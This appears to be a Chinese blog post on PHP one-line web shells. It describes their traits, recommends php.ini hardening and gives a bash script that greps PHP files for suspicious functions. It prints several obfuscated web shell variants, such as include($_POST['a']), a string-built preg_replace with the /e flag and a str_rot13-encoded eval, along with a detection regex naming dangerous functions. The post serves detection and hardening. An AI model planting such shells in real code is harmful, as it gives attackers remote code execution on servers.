PHP一句话木马及查杀

常见的木马基本上有如下特征
1.接收外部变量
常见如:$_GET,$_POST
更加隐蔽的$_FILES,$_REQUEST…

2.执行函数
获取数据后还需执行它
常见如:eval,assert,preg_replace
隐藏变种:

  1. include($_POST['a']);
  1. $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
  2. $hh("/[discuz]/e",$_POST['h'],"Access");
  1. @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

使用urldecode,gzinflate,base64_decode等加密函数

3.写入文件
获取更多的权限
如:copy,file_get_contents,exec

一般的建议是打开safe_mode 或使用disable_functions 等来提升安全性;
可能有些程序无法正常运行,基本的安全设置
php.ini中

  1. expose_php = OFF
  2. register_globals = Off
  3. display_errors = Off
  4. cgi.fix_pathinfo=0
  5. magic_quotes_gpc = On
  6. allow_url_fopen = Off
  7. allow_url_include = Off
  8. 配置open_basedir

查找木马脚本
查找隐藏特征码及入口可以找出大部分的木马.

  1. #!/bin/bash
  2.  
  3. findpath=./
  4. logfile=findtrojan.log
  5.  
  6. echo -e $(date +%Y-%m-%d_%H:%M:%S)" start\r" >>$logfile
  7. echo -e '============changetime list==========\r\n' >> ${logfile}
  8. find ${findpath} -name "*.php" -ctime -3 -type f -exec ls -l {} \; >> ${logfile}
  9.  
  10. echo -e '============nouser file list==========\r\n' >> ${logfile}
  11. find  ${findpath} -nouser -nogroup -type f -exec ls -l {} \; >> ${logfile}
  12.  
  13. echo -e '============php one word trojan ==========\r\n' >> ${logfile}
  14. find ${findpath} -name "*.php" -exec egrep -I -i -C1 -H  'exec\(|eval\(|assert\(|system\(|passthru\(|shell_exec\(|escapeshellcmd\(|pcntl_exec\(|gzuncompress\(|gzinflate\(|unserialize\(|base64_decode\(|file_get_contents\(|urldecode\(|str_rot13\(|\$_GET|\$_POST|\$_REQUEST|\$_FILES|\$GLOBALS' {} \; >> ${logfile}
  15. #使用使用-l 代替-C1 -H 可以只打印文件名
  16. echo -e $(date +%Y-%m-%d_%H:%M:%S)" end\r" >>$logfile
  17.  
  18. more $logfile
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值